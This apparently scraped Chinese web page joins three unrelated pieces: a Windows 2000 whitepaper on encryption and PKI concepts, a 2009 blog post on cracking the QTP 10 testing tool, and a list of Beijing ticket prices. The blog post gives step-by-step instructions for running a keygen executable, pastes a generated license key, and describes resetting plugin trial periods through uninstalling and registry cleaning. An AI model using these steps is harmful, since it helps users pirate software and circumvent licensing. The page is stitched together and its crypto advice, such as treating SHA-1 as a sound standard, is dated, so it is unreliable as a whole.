    加密是通过 Intranet、Extranet 和 Internet 进行安全的信息交换的基础。从业务的角度来看,通过加密实现的安全功能包括: 身份验证 ,使收件人确信发件人就是他或她所声明的那个人; 机密性 ,确保只有预期的收件人能够阅读邮件;以及 完整性 ,确保邮件在传输过程中没有被更改。从技术的角度来看,加密是利用数学方法将邮件转换为不可读格式从而达到保护数据的目的的一门科学。

    本节介绍下列加密概念:

    • 对称密钥加密:一个密钥
    • 公钥加密:两个密钥
    • 单向散列算法
    • 数字签名:结合使用公钥与散列
    • 密钥交换:结合使用对称密钥与公钥

    前三个小节分别定义并说明对称密钥加密、公钥加密和散列算法。后两个小节说明 组合使用 这些技术的方法-尤其是,将公钥算法与散列算法相结合以创建数字签名,以及将对称算法与公钥算法相结合使交换密(私)钥成为可能。

    对称密钥加密:一个密钥

    对称密钥加密,也叫做共享密钥加密或机密密钥加密,使用发件人和收件人共同拥有的单个密钥。这种密钥既用于加密,也用于解密,叫做 机密密钥 (也称为 对称密钥 会话密钥 )。对称密钥加密是加密大量数据的一种行之有效的方法。.

    对称密钥加密有许多种算法,但所有这些算法都有一个共同的目的-以可还原的方式将 明文 (未加密的数据)转换为 暗文 。暗文使用加密密钥编码,对于没有解密密钥的任何人来说它都是没有意义的。由于对称密钥加密在加密和解密时使用相同的密钥,所以这种加密过程的安全性取决于是否有未经授权的人获得了对称密钥。这就是它为什么也叫做机密密钥加密的原因。希望使用对称密钥加密通信的双方,在交换加密数据之前必须先安全地交换密钥。

    衡量对称算法优劣的主要尺度是其密钥的长度。密钥越长,在找到解密数据所需的正确密钥之前必须测试的密钥数量就越多。需要测试的密钥越多,破解这种算法就越困难。有了好的加密算法和足够长的密钥,如果有人想在一段实际可行的时间内逆转转换过程,并从暗文中推导出明文,从计算的角度来讲,这种做法是行不通的。

    公钥加密:两个密钥

    公钥加密使用两个密钥- 一个公钥 一个私钥 ,这两个密钥在数学上是相关的。为了与对称密钥加密相对照,公钥加密有时也叫做不对称密钥加密。在公钥加密中,公钥可在通信双方之间公开传递,或在公用储备库中发布,但相关的私钥是保密的。只有使用私钥才能解密用公钥加密的数据。使用私钥加密的数据只能用公钥解密。在图 1 中,发件人拥有收件人的公钥,并用它加密了一封邮件,但只有收件人掌握解密该邮件的有关私钥。


    图 1 公钥加密要求使用一个公钥和一个私钥。

    与对称密钥加密相似,公钥加密也有许多种算法。然而,对称密钥和公钥算法在设计上并无相似之处。您可以在程序内部使用一种对称算法替换另一种,而变化却不大,因为它们的工作方式是相同的。而另一方面,不同公钥算法的工作方式却完全不同,因此它们不可互换。

    公钥算法是复杂的数学方程式,使用十分大的数字。公钥算法的主要局限在于,这种加密形式的速度相对较低。实际上,通常仅在关键时刻才使用公钥算法,如在实体之间交换对称密钥时,或者在签署一封邮件的散列时(散列是通过应用一种单向数学函数获得的一个定长结果,对于数据而言,叫做散列算法)。将公钥加密与其它加密形式(如对称密钥加密)结合使用,可以优化性能。公钥加密提供了一种有效的方法,可用来把为大量数据执行对称加密时使用的机密密钥发送给某人。也可以将公钥加密与散列算法结合使用以生成数字签名。

    若要进一步了解关于将公钥加密与对称密钥加密或散列算法结合使用的信息,请参见下面两节:“数字签名: 结合使用公钥与散列算法”和“密钥交换:结合使用对称密钥与公钥”

    将公钥加密用于数字签名

    数字签名是邮件、文件或其它数字编码信息的发件人将他们的身份与信息绑定在一起(即为信息提供签名)的方法。对信息进行数字签名的过程,需要将信息与由发件人掌握的秘密信息一起转换为叫做签名的标记。数字签名用于公钥环境中,它通过验证发件人确实是他或她所声明的那个人,并确认收到的邮件与发送的邮件完全相同,来帮助确保电子商务交易的安全。

    通常,数字签名用于以明文(如电子邮件)分发数据的情形。在这种情况下,当邮件本身的敏感性可能无法保证加密的安全性时,确保数据处于其原始格式且并非由假冒者发送,是非常重要的。

    要了解如何结合使用公钥与散列算法来创建数字签名,请参见下面的“数字签名: 结合使用公钥与散列算法”一节

    常用公钥算法

    下面是三种最常用的公钥算法:

    • RSA -适用于数字签名和密钥交换。 Rivest-Shamir-Adleman (RSA) 加密算法是目前应用最广泛的公钥加密算法,特别适用于通过 Internet 传送的数据。这种算法以它的三位发明者的名字命名:Ron Rivest、Adi Shamir 和 Leonard Adleman。RSA 算法的安全性基于分解大数字时的困难(就计算机处理能力和处理时间而言)。在常用的公钥算法中,RSA 与众不同,它能够进行数字签名和密钥交换运算。Microsoft Base Cryptographic Service Provider (Microsoft Base CSP 1 ) 支持 RSA 加密算法,并且 Microsoft Enhanced Cryptographic Service Provider (Microsoft Enhanced CSP 2 ) 已经内置到包括 Microsoft Internet Explorer 在内的许多软件产品中。
    • DSA -仅适用于数字签名。 数字签名算法 (Digital Signature Algorithm, DSA) 由美国国家安全署 (United States National Security Agency, NSA) 发明,已经由美国国家标准与技术协会 (National Institute of Standards and Technology, NIST) 收录到联邦信息处理标准 (Federal Information Processing Standard, FIPS) 之中,作为数字签名的标准。DSA 算法的安全性源自计算离散算法的困难。这种算法仅用于数字签名运算(不适用于数据加密)。Microsoft CSP 支持 DSA 算法。
    • Diffie-Hellman -仅适用于密钥交换。 Diffie-Hellman 是发明的第一个公钥算法,以其发明者 Whitfield Diffie 和 Martin Hellman 的名字命名。Diffie-Hellman 算法的安全性源自在一个有限字段中计算离散算法的困难。Diffie-Hellman 算法仅用于密钥交换。Microsoft Base DSS 3 和 Diffie-Hellman CSP 都支持 Diffie-Hellman 算法。

    单向散列算法

    散列-也称为 散列值 消息摘要 ,是一种与基于密钥(对称密钥或公钥)的加密不同的数据转换类型。散列就是通过把一个叫做散列算法的单向数学函数应用于数据,将任意长度的一块数据转换为一个定长的、不可逆转的数字。所产生的散列值的长度应足够长,因此使找到两块具有相同散列值的数据的机会很少。发件人生成邮件的散列值并加密它,然后将它与邮件本身一起发送。而收件人同时解密邮件和散列值,并由接收到的邮件产生另外一个散列值,然后将两个散列值进行比较。如果两者相同,邮件极有可能在传输期间没有发生任何改变。

    常用的单向散列函数

    下面是两个最常用的散列函数:

    • MD5 。 MD5 是由 Ron Rivest 设计的可产生一个 128 位的散列值的散列算法。MD5 设计经过优化以用于 Intel 处理器。这种算法的基本原理已经泄露,这就是为什么它不太受欢迎的原因。
    • SHA-1 。 与 DSA 公钥算法相似,安全散列算法 1(SHA-1)也是由 NSA 设计的,并由 NIST 将其收录到 FIPS 中,作为散列数据的标准。它可产生一个 160 位的散列值。SHA-1 是流行的用于创建数字签名的单向散列算法。

    数字签名:结合使用公钥与散列算法

    可以结合使用公钥技术与散列算法来创建数字签名。数字签名可用作数据完整性检查并提供拥有私钥的凭据。

    签署和验证数据(由启用 PKI 的应用程序如 Microsoft Outlook 完成)的步骤如下:

    • 发件人将一种散列算法应用于数据,并生成一个散列值。
    • 发件人使用私钥将散列值转换为数字签名。
    • 然后,发件人将数据、签名及发件人的证书发给收件人。
    • 收件人将该散列算法应用于接收到的数据,并生成一个散列值。
    • 收件人使用发件人的公钥和新生成的散列值验证签名。

    对用户而言这一过程是透明的。

    散列算法处理数据的速度比公钥算法快得多。散列数据还缩短了要签名的数据的长度,因而加快了签名过程。当创建或验证签名时,公钥算法必须且只需转换散列值(128 或 160 位的数据)。创建签名和验证签名的详细步骤取决于所采用的公钥算法。

    密钥交换:结合使用对称密钥与公钥

    对称密钥算法非常适合于快速并安全地加密数据。但其缺点是,发件人和收件人必须在交换数据之前先交换机密密钥。结合使用加密数据的对称密钥算法与交换机密密钥的公钥算法可产生一种既快速又灵活的解决方案。

    基于公钥的密钥交换步骤如下:

    • 发件人获得收件人的公钥。
    • 发件人创建一个随机机密密钥(在对称密钥加密中使用的单个密钥)。在 Windows 2000 中,CryptoAPI 4 可用于创建机密密钥。(有关 CryptoAPI 的详细信息,请参见下面的“证书链验证”一节。)
    • 发件人使用机密密钥和对称密钥算法将明文数据转换为暗文数据。
    • 发件人使用收件人的公钥将机密密钥转换为暗文机密密钥。
    • 发件人将暗文数据和暗文机密密钥一起发给收件人。
    • 收件人使用其私钥将暗文机密密钥转换为明文。
    • 收件人使用明文机密密钥将暗文数据转换为明文数据。

    同样,这些步骤是由启用 PKI 的应用程序(如 Microsoft Outlook)来完成的,并且对用户来说是透明的。

    公钥基本结构的概念

    术语公钥基本结构(PKI)用于描述管制或操纵证书与公钥及私钥的策略、标准和软件。实际上,PKI 是指由数字证书、证书颁发机构 (CA) 以及对电子交易所涉及各方的合法性进行检查和验证的其它注册机构组成的一套系统。PKI 的有关标准仍处于不断发展之中,即使这些标准已被作为电子商务的要素而广泛实施。

    本节帮助您理解什么是 PKI 以及创建 PKI 需要哪些服务。这些 PKI 概念将在下面几个小节中讨论:

    • 证书
    • 证书颁发机构 (CA)
    • 不可更改的 CA 层次结构
    • 注册
    • 证书登记
    • 证书吊销
    • 证书链验证

    证书

    公钥证书 ,通常简称为 证书 ,用于在 Internet、Extranet 和 Intranet 上进行身份验证并确保数据交换的安全。证书的颁发者和签署者就是众所周知的 证书颁发机构 (CA),将在下一节中介绍。颁发证书的实体是证书的 主体

    公钥证书是以数字方式签名的声明,它将公钥的值与持有相应私钥的主体(个人、设备和服务)的身份绑定在一起。通过在证书上签名,CA 可以核实与证书上公钥相应的私钥为证书所指定的主体所拥有。

    可以为各种目的颁发证书,如 Web 用户身份验证、Web 服务器身份验证、使用安全/多用途 Internet 邮件扩充协议 (Secure/Multipurpose Internet Mail Extensions, S/MIME) 的安全电子邮件、IP 安全性 (IP Security)、安全套接字协议层/事务层安全性 (Secure Sockets Layer/Transaction Layer Security, SSL/TLS) 和代码签名。如果在一个组织内部使用 Windows 2000 企业证书颁发机构(在“Windows 2000 Certificate Services”白皮书中说明),证书可用于登录到 Windows 2000 域。证书还可以由一个 CA 颁发给另一个 CA,以建立证书层次结构。

    可以通过多个名称来识别主体,如用户主要名称(用于最终用户证书)、目录名、电子邮件名称和 DNS 域名等。证书还应包含下列信息:

    • 证书的有效期。
    • 证书的序列号,CA 应保证该序列号是唯一的。
    • CA 的名称以及用于签署该证书的密钥。
    • CA 所遵循的用来确定证书主体身份的策略的标识符(稍后将详细介绍 CA 策略)。
    • 在证书中标识的密钥对(公钥及相关的私钥)的用法。
    • 证书吊销列表 (CRL) 的位置,这是一个由 CA 维护并发布的列出已被吊销的证书的文档。为确保其完整性,CRL 是用 CA 的私钥签署的。

    证书提供了一个在公钥和拥有相应私钥的实体之间建立关系的机制。目前最常用的证书格式通过 ITU-T X.509 版本 3 (X.509v3) 国际标准定义。RFC 2459 是 X.509v3 的一个配置文件,进一步阐明了 X.509v3 中定义的字段。Windows 2000 PKI 采用 X.509v3 标准。Windows 证书是按照 RFC 2459 中的说明编程的,但仍然叫做 X.509v3 证书。(有关 ITU-T X.509 的详细信息,请参见“Windows 2000 证书服务”白皮书。)

    ITU-T X.509 并非证书的唯一格式。例如,Pretty Good Privacy (PGP) 安全电子邮件依赖 PGP 所独有的一种证书。

    证书颁发机构

    证书颁发机构 (CA) 是一个向个人、计算机或任何其它申请实体颁发证书的可信实体。CA 受理证书申请,根据该 CA 的策略验证申请人的信息,然后使用它的私钥把其数字签名应用于证书。然后,CA 将该证书颁发给该证书的主体,作为 PKI 内部的安全凭据。由于不同的 CA 使用不同的方法验证公钥与主体之间的绑定,在选择信任该颁发机构之前,理解该 CA 的策略是非常重要的(稍后解释)。

    CA 可以是远程的第三方机构,如 GeoTrust。作为选择,也可以是您创建的供您所在组织使用的 CA,例如,通过安装 Windows 2000 证书服务即可创建一个 CA。每个 CA 对证书申请人可能有完全不同的身份凭据要求,如 Windows 2000 域帐户、职员标记、驾驶执照、公证请求或实际住址。

    CA 策略

    CA 根据也已确立的一套标准向申请人颁发证书。CA 在受理证书请求(以及颁发证书、吊销证书和发布 CRL)时所采用的一套标准被称为 CA 策略 。通常,CA 以一种叫做证书惯例声明 (Certification Practice Statement, CPS) 的文档发布其策略。

    不应将 CA 策略与 Windows 2000 的术语“组策略”相混淆,后者通常与域帐户和应用程序部署服务(如 IntelliMirror)相关联。(关于 Windows 2000 中的 CA 策略以及组策略在 Windows 2000 PKI 中所扮演的角色的信息,请分别参见“Windows 2000 证书服务”白皮书中“Windows 2000 CA 策略”和“CA 证书分发”部分。)

    证书颁发机构的类型

    CA 的类型 5 包括以下三种:

    • 自签名 CA 。 在自签名 CA 中,证书中的公钥和用于验证证书的密钥是相同的。一些自签名 CA 是根 CA(参见第三项)。
    • 从属 CA 。 在从属 CA 中,证书中的公钥和用于核实证书的密钥是不同的。一个 CA 向另一个 CA 颁发证书的过程叫做 交叉认证
    • 根 CA 。 根 CA 是一种特殊的 CA,它受到客户无条件地信任,位于证书层次结构的最高层。所有证书链均终止于根 CA。根颁发机构必须对它自己的证书签名,因为在证书层次结构中再也没有更高的认证机构了。

      所有自签名 CA 都是根 CA,因为到自签名 CA 时证书链就终止了。

      Windows 2000 只能指定一个自签名 CA 为根 CA。将一个 CA 指定为根 CA 的决策由个人在企业级或本地做出。

    不可更改的 CA 层次结构

    管理员可以创建 CA 的层次结构,从根 CA 证书开始,然后添加中级 CA,每一个 CA 都可以为其从属 CA 颁发证书。当 CA 向最终实体(用户)颁发证书时,证书链就终止了。

    根 CA 证书的分发费用最高,因为如果您开始改变根证书,就必须重建整个 PKI。如果根证书改变了,就必须吊销组织内所有客户端的旧的根证书,并添加新的根证书。另外,必须重新颁发由根 CA 颁发的、再由从属 CA 颁发给最终实体的所有证书。因此,在部署 CA 层次结构时,使用少量的长寿命根 CA 可提供最经济的解决方案。根 CA 非常重要-因为它们被无条件地信任,因为它们是证书链的顶点-因此,在分发证书时要有一个圈外的身份验证。也就是说,由于根 CA 是自签名的,所以必须有人来证明根证书是真品。

    因为最终实体要比 CA 多得多,所以向最终实体颁发证书的 CA 使用私钥在大量的数据上签名。用来对数据签名的密钥使用得越频繁,加密数据受到攻击的可能性就越大。因此,为了保持安全,向最终实体颁发证书的联机 CA 必须经常更换其签名密钥。

    向最终实体颁发证书的 CA 具有的吊销证书列表,要比中级或根 CA 的列表大得多(这些 CA 仅向其它 CA,更多的是从属 CA 颁发证书)。其部分原因是因为最终实体要比 CA 证书多得多。另外,有许多理由可以解释为什么必须吊销最终实体的证书,如职员改变了工作或离开了公司。

    CA 发布吊销证书列表(CRL),其中列出了不应再使用的证书。被吊销证书的有关条目将一直保留在 CRL 列表中,直至证书的 有效期 结束之后,CA 才可将该证书从列表中删除。CRL 中的条目越多,CRL 就越大,其下载时间就越长。通常,只有使用较慢的网络链路(如拨号连接)的用户才会遇到下载时间问题。CA 还可以管理 CRL 列表的大小。一种方法是维护多个列表,称为分区 CRL。另一种方法是,缩短已颁发证书的有效期,从而加快 CA 从列表中删除吊销证书的速度。(关于 CRL 的详细信息,请参见“证书吊销”一节。)

    许多应用程序必须能够查明证书最近的吊销状态信息。只有一个联机 CA 能够发布有关证书状态的当前信息。由脱机 CA 公布的吊销状态,必须使用圈外的方法发布到联机位置。

    大多数容易受到攻击的 CA 都是处于联机状态的、物理安全措施较差并签署了大量证书的 CA。因此,建立根 CA 和从属 CA 时,应该平衡一下安全性和可用性。通常,建议采用三级层次结构,即一个脱机的独立根 CA、一个脱机的独立从属策略 CA 和一个联机从属颁发企业 CA。

    • 脱机根 CA 。 在设计 CA 的层次结构时,根 CA 的安全级别应设为最高。根 CA 应以脱机状态保存在安全的位置,并且用它只签署少量证书。可能的话,应该将 CA 和密钥保存在专门的保管库中,并且至少同时有两位操作员进入该保管库,一位执行规定的操作,另一位审核其操作。(在 Windows 2000 网络中,设计了独立的 CA,以便它们脱机运行。)
    • 脱机中级 CA 。 在一个根 CA 下面可以有一个或多个从属 CA。将中级从属 CA 设为脱机的机器,可以提高该 CA 的安全性。
    • 联机颁发 CA 。 CA 链中最后一级的 CA 必须处于联机状态,因此可用于受理来自众多客户机的证书申请。根 CA 下面的联机 CA 也可以经常发布最新的吊销状态信息。管理员可以频繁地更改这种 CA 的密钥,因为颁发新证书的开销(管理方面的开销)是最低的。从属 CA 并不完全是可任意使用的,但通过攻击从属 CA 并不能得到多少有价值的东西,而且高级 CA 通过吊销证书即可轻而易举地阻挡这种攻击。

    注册

    注册 就是主体向 CA 自我介绍的过程。在申请证书时,注册可以是隐含的,或通过为主体提供担保的另一个可信实体(如智能卡登记站)来完成,或者在收到来源可信(如来自域管理员)的信息时自动完成。一旦向 CA 进行了注册,只要符合按照 CA 策略建立的标准,证书即被颁发给该主体。

    证书登记

    证书登记 就是最终实体进行证书申请并从 CA 接收证书的过程。证书申请就是向 CA 提供身份信息,该信息随后将成为所颁发证书的一部分。CA 根据一套标准受理申请,该标准可能要求进行脱机的、非自动的身份验证(圈外的身份验证)。如果申请被成功受理,CA 随后将向该用户颁发证书。

    Windows 2000 PKI 支持向 Microsoft 企业 CA 和 Microsoft 独立 CA 或第三方 CA(如 GeoTrust)进行证书登记。Windows 2000 证书登记支持是以一种独立于传输的方式实现的,并以使用工业标准公钥加密标准 PKCS-10 的证书申请邮件和包含产生的证书或证书链的 PKCS-7 响应为基础。(Windows 使用 PKCS-7 中包含的 PKCS-10 进行更新。这使 Windows 可以用现有的证书对申请进行数字签名。)目前,Windows 2000 对支持 RSA 和 DSA 密钥与签名的证书提供支持。(有关 PKCS 的详细信息,请参见“Windows 2000 证书服务”白皮书。)

    通过注册机构进行证书登记

    一种特殊的证书登记可通过注册机构 (Registration Authority, RA) 来完成,RA 可为 CA 提供担保,以便将公钥与预期的证书持有人的身份及属性绑定在一起。RA 是拥有特殊证书的主体。这种特殊的证书包含有可以向 CA 表明主体身份的信息。通常,RA 在公钥和主体之间建立绑定,然后在主体生成的申请上签名,以便向 CA 提供该 RA 即将为绑定担保的证据。本质上,使用 RA 是管理委派的一种形式-CA 委派 RA 执行验证公钥和实体之间绑定的任务。

    RA 生成在主体和公钥之间建立的牢固绑定的证书。在 Windows 2000 操作系统中,证书服务使用域身份验证来识别申请大多数类型证书的用户身份。创建智能卡登录证书的 Windows 2000 智能卡登记站由 RA 使用。RA 可验证智能卡收件人的身份,同时提供比域身份验证单独完成的主体与公钥之间的绑定更加牢固的绑定。

    证书吊销

    证书具有一个指定的寿命,但 CA 可通过称为证书吊销的过程来缩短这一寿命。CA 发布一个证书吊销列表 (CRL),列出被认为不能再使用的证书的序列号。CRL 指定的寿命通常比证书指定的寿命短得多。CA 也可以在 CRL 中加入证书被吊销的理由。它还可以加入被认为这种状态改变所适用的起始日期。

    可将下列情况指定为吊销证书的理由:

    • 泄露密钥
    • 泄露 CA
    • 从属关系改变
    • 被取代
    • 业务终止
    • 证书持有(这是唯一让您能够改变被吊销证书状态的理由码,在证书状态有问题的情况下非常有用)

    由 CA 吊销证书意味着,CA 在证书正常到期之前撤销其允许使用该密钥对的有关声明。在吊销的证书到期之后,CRL 中的有关条目被删除,以缩短 CRL 列表的大小。

    在验证签名期间,应用程序可以检查 CRL,以确定给定证书和密钥对是否仍然可信(有些应用程序使用 CryptoAPI 中的 Microsoft 证书链验证 API 来完成此任务)。如果不可信,应用程序可以判断吊销的理由或日期对使用有疑问证书是否有影响。如果该证书被用来验证签名,且签名的日期早于 CA 吊销该证书的日期,那么该签名仍被认为是有效的。

    应用程序获得 CRL 之后,由客户机缓存 CRL ,在它到期之前客户机将一直使用它。如果 CA 发布了新的 CRL,拥有有效 CRL 的应用程序并 使用新的 CRL,直到应用程序拥有的 CRL 到期为止。

    证书链确认

    Microsoft CryptoAPI 提供了一个标准的框架,应用程序可用此框架来获得加密服务和数字证书服务。除了 CryptoAPI 为 Windows 95、Windows 98、Windows NT 和 Windows 2000 提供的标准服务以外,第三方供应商可开发并销售他们自己的插件模块,提供附加的加密服务。

    在 Windows 网络中,为新证书生成一个请求时,该请求中的信息首先被从请求程序传递给 CryptoAPI。然后,CryptoAPI 把相应的数据传递给一个称为加密服务提供程序 (CSP) 的程序,该程序安装在您的计算机上,或安装在您的计算机可以访问的某种设备(如智能卡)上。CSP 是一个执行诸如机密密钥交换、数据的数字签名以及公钥身份验证之类的加密操作的独立软件模块。任何 Windows 2000 服务或应用程序都可以向 CSP 请求加密操作。

    Windows 2000 的证书链创建机制试图建立一个证书路径(证书链),下起最终实体证书(如用户证书),上至 CA 根证书:

    1. 证书链机制搜索证书(如果有的话)中的颁发机构密钥标识符 (AKI) 字段,以便在某个系统证书存储器中找到父(颁发者)证书。如果 AKI 中包含 Issuer 和 SerialNumber 字段的值,证书链机制将在系统证书存储器中查找特定的父证书;否则,它将使用密钥标识符的值来查找匹配的父证书。如果证书中没有 Issuer、Serial Number 和 Key Identifier 字段的值,那么证书链机制将使用 IssuerName 字段来查找匹配的父证书。
    2. 如果证书链机制根据上述字段未在系统存储器中找到匹配的父证书,它将搜索证书中的颁发机构信息访问 (Authority Information Access, AIA) 字段。它使用该字段中的信息(如果有的话)从指定位置 (如超文本传输协议 (HTTP) 6 http://www.microsoft.com .位置或轻型目录访问协议 (LDAP) 7 位置)检索父证书。

    这一过程将针对用户最终实体证书的每一个父证书重复进行,直到在本地的可信根存储器中找到一个自签名证书为止。自签名证书是这样一种证书:它的主体名称和颁发者名称相同,它的公钥可用来验证与该证书相关的签名。

    小结

    加密通过提供数据加密和其他用户的身份验证的功能来达到保护用户之目的。这种技术允许电子邮件的收件人验证发件人,确保只有预期的收件人能够阅读邮件,并向收件人保证邮件在传输过程中没有被改变。本白皮书介绍了对称密钥加密、公钥加密、散列算法、数字签名和密钥交换的加密概念。

    公钥基本结构 (PKI) 包含用于管理证书、公钥和私钥的技术和标准,以验证电子交易所涉及的各方身份。本白皮书解释了证书、证书颁发机构、不可更改的 CA 层次结构、注册、证书登记、证书吊销和证书链验证的 PKI 概念。

    理解加密和 PKI 将有助于您理解 Windows 2000 Server 操作系统提供的证书服务功能如何在一个安全的环境中进行电子商务。

    其它信息

  • 加密服务提供程序(CSP)是一个独立的软件模块,用于执行各种加密操作,如机密密钥交换、数据的数字签名以及公钥身份验证。
  • Microsoft Enhanced Cryptographic Provider 除了具有与 Microsoft Base Cryptographic Provider 相同的功能以外,还通过支持更长的密钥长度与附加的加密算法,提供更可靠的安全性。由于放宽了导出限制,这个版本的 CSP 不再像以前的版本那样重要。
  • 数字签名安全标准 (Digital Signature Security Standard, DSS) 是一个把 DSA 用于签名算法、SHA-1 用作邮件散列算法的标准。
  • Microsoft 为 Windows 95、Windows 98、Windows NT 和 Windows 2000 提供了一个特殊的名为 CryptoAPI (有时也称为 CAPI) 的加密应用程序编程接口 (API)。CryptoAPI 提供了一个标准的框架,应用程序可通过它来获得加密和数字签名服务。
  • 不要将这些一般类型的 CA 与 Windows 2000 证书服务专用的企业 CA 和独立 CA 相混淆。安装 Windows 2000 证书服务时,请在两种不同的 CA 策略中选择一种,不同的 CA 策略在处理证书时具有不同的特性。这两种 CA 策略叫做 企业策略 独立策略 :使用企业策略的 CA 被称为企业 CA,而是用独立策略的 CA 叫做独立 CA。企业策略和独立策略在如何处理与 Active Directory 的交互、如何处理身份验证以及是否使用 Windows 2000 提供的证书模板等方面是不同的。无论是 Windows 2000 企业 CA,还是 Windows 2000 独立 CA,都可以是自签名 CA(即同时也是根 CA),也可以是从属 CA。
  • HTTP 是用于在万维网 (World Wide Web) 上传输信息的协议。HTTP 地址采用下列格式:
  • 作为直接在 TCP/IP 上运行的一个目录服务协议,LDAP 是用于添加、修改和删除存储在 Active Directory 中的信息的主要目录访问协议,也是用于查询和检索 Active Directory 中的数据的主要目录访问协议。Active Directory 客户端必须用 LDAP 获取 Active Directory 中的信息或维护 Active Directory 中的信息。Active Directory 使用 LDAP 来实现与其它 LDAP 兼容的客户端应用程序的互操作性。如果有相应的权限,您可使用任何与 LDAP 兼容的客户端应用程序,浏览、查询、添加、修改或删除 Active Directory 中的信息。
        摘要
      • QTP10破解方法,插件延长使用时间方法,及mgn-mqt82.exe下载

        2009-03-19 16:00:00

        注意:一定要手动创建文件夹,在相应文件夹下进行操作,否则无法成功生成注册码

        破解步骤:

        1.安装qtp,一路默认下来,到要求输入License的界面

        2.拷贝mgn-mqt82.exe(下载)到C:\Program Files\Mercury Interactive(自己手动创建)文件夹下

        3.自己手动创建C:\Program Files\Common Files\Mercury Interactive\License Manager文件夹

        4.执行自己刚才创建的C:\Program Files\Mercury Interactive文件夹下的破解工具mgn-mqt82.exe,会提示lservrc文件生成。

        5.在C:\Program Files\Common Files\Mercury Interactive\License Manager\下找到文件lservrc,用记事本打开,复制文件LSERVRC中#之前的字符串,那个就是注册码, 如: 3QVWCPPOS5NGGFM6KPX64EQFSH6INFRJIVMC5WZ4XIIFIXX86UCPIP4M686DZKV9NANA9BUP# "QuickTestPro" version "6.0", no expiration date, exclusiveJZ7F79F6YQQFVUWNG2V7AW22K537DOELQYNX6VSCNCZ9J8M2QW9OXO5DSEQKUZA46X5BO# "FT-Unified" version "1.0", no expiration date, exclusive 就拷贝#号前的 3QVWCPPOS5NGGFM6KPX64EQFSH6INFRJIVMC5WZ4XIIFIXX86UCPIP4M686DZKV9NANA9BUP
        然后粘贴到license向导中的license输入的地方,点击确定,可以看到信息为无限制使用,也可以打开qtp,在help-about qtp--License对话框中可以看到该qtp已经显示为无限制使用了 

         以上部分亲自验证过,以下部分未亲自验证过: 


        插件延长使用时间方法:(试用于任何情况,包括插件已过期)

           已试成功的插件有JAVA\NET\ORACLE\POWERBUILDER\WEBSERVICE\DELPHI(其余的插件类似)
           控制面板-添加删除程序中删除所有附加插件,使用REGCLEAN注册表软件清理一下注册表,打开QTP一次, 再安装QTP95所需插件,打开QTP95,熟悉的13天又回来了.
            独立DELPHI插件延长使用方法 不管在任何时候安装DELPHI插件,其使用时间是由QTP95中已安装插件所能使用的时间来决定的.所以要延长使用时间的话,需要将所有插件全部卸载然后再重新安装 延长使用方法同上面一样.
           PS:千万注意不要随便修改系统时间,往后调即使插件过期还有办法让它继续使用,要是往前调系统时间那就怎么都没有办法再使用插件了.

        这个是注册码生成工具: mgn-mqt82.rar(235 KB)

        mgn-mqt82.rar(235 KB)

      • 北京景点门票价格

        2009-03-19 13:16:46

        北京部分旅游景点门票价格 (单位:RMB元/人)(2007.10.)

        区县 名称 门票价格 园中收费 备注
        名称 票价
        东 城 区
        故宫博物院 60.00元 珍宝馆 5.00元 联票50元
        钟表馆 5.00元
        畅音阁悦是楼 10.00元
        中国革命博物馆 3.00元
        首都博物馆 10.00元
        中国历史博物馆 5.00元
        地坛公园 1.00元 蜡像馆 3.00元 月票3元
        皇祺室 5.00元
        柳荫湖公园 0.20元 月票1元
        青年湖公园 1.00元 月票3元
        南馆公园 0.20元 月票1元
        中山公园 3.00元 蕙芳园 5.00元 月票3元
        塘花坞 5.00元
        劳动人民文化宫 2.00元 月票2元
        雍和宫 15.00元
        天安门 15.00元
        学生5.00元

        西 城 区



        中国地质博物馆 8.00元
        中国古动物馆 15.00元
        鲁迅博物馆 5.00元
        梅兰芳纪念馆 2.00元
        郭沫若纪念馆 6.00元
        宋庆龄故居 8.00元
        白塔寺文保所 10.00元
        郭守敬纪念馆 0.50元
        天文馆 12.00元 北京古观象台 10.00元
        徐悲鸿纪念馆 5.00元
        动物园 20.00元,联票15.00元 熊猫馆 5.00元
        爬虫馆 1.00元
        北海公园 10.00元 琼岛景区 10.00元 团城1.00元
        景山公园 2.00元
        人定湖公园 0.30元
        月坛公园 1.00元
        双秀公园 0.20元
        恭王府 5.00元
        白云观 8.00元(庙会期间10.00元)
        人民大会堂 15.00元

        崇 文 区
        自然博物馆 15.00元、集体:6.00元
        天坛公园 15.00元 祈年殿 20.00元 联票35元
        龙潭公园 1.00元 月票3元
        北京游乐园 57.00元 优惠
        37.00元
        东南城角楼 10.00元

        宣 武 区
        大观园 10.00元 学生5.00元
        陶然亭公园 2.00元 孔雀园 5.00元 学生1.00元
        万寿公园 1.00元

        朝阳 区

        团结湖公园 1.00元
        红领巾公园 1.00元
        日坛公园 1.00元
        朝阳公园 5.00元
        百鸟园 5.00元 鸣趣园 10.00元
        中华民族园 60.00元
        北旭野生动物园 10.00元 猕猴园 10.00元
        丽都花园 0.40元
        望京公园 0.20元
        紫檀博物馆 20.00元
        航空航天模型博物馆 30.00元
        学生15.00
        民俗博物馆 10.00元





        海 淀 区

        大钟寺 10.00元
        大觉寺 10.00元
        五塔寺 3.00元
        万寿寺 10.00元
        中国军事革命博物馆 10.00元
        北京植物园 5.00元 卧佛寺 5.00元 月票6元
        颐和园 35.00元 德和园 10.00元 联票33元
        优惠联票30元
        苏州街 10.00元 月票8元
        佛香阁 10.00元
        紫竹院 2.00元 筠石苑 1.00元 月票4元
        玉渊潭 2.00元 月票4元
        圆明园 10.00元 大水法 3.00元
        微缩展 2.00元
        迷宫 1.00元
        展室 1.00元
        香山公园 5.00元 双清别墅 3.00元
        碧云寺 10.00元
        凤凰岭 8.00元
        百望山 6.00元
        阳台山 8.00元
        鹫峰森林公园 8.00元
        上庄翠湖水乡 5.00元
        药用植物园 5.00元
        邮电博物馆 5.00元
        玲珑公园 0.20元
        会城门 0.20元
        京西国家森林公园 5.00元

        丰 台 区
        西汉古墓 10.00元
        中国抗战馆 15.00元
        卢沟桥 10.00元 学生5.00元
        世界公园 65.00元 儿童票 35.00
        世界公园动感电影 20.00元 儿童10.00元
        大洋滑雪场 20.00元
        驯象乐园 25.00元 儿童15.00元
        丰台花园 1.00元 月票5元
        丰台园区公园 0.40元
        鹰山森林公园 1.00元 月票5元
        花乡公园 0.50元
        长辛店公园 1.00元 月票5元,
        年票42元
        石榴庄公园 0.50元
        福海公园 1.00元
        万芳亭公园 1.00元 月票5元,
        年票42元
        南苑公园 1.00元 月票5元

        石 景 山

        区 法海寺博物馆 10.00元
        冰川遗迹陈列馆 2.00元
        石景山游乐园 2.00元
        八大处 5.00元
        富斯特滑道 40.00元
        宝宝乐园 0.50元
        雕塑乐园
        法海寺公园

        房 山 区
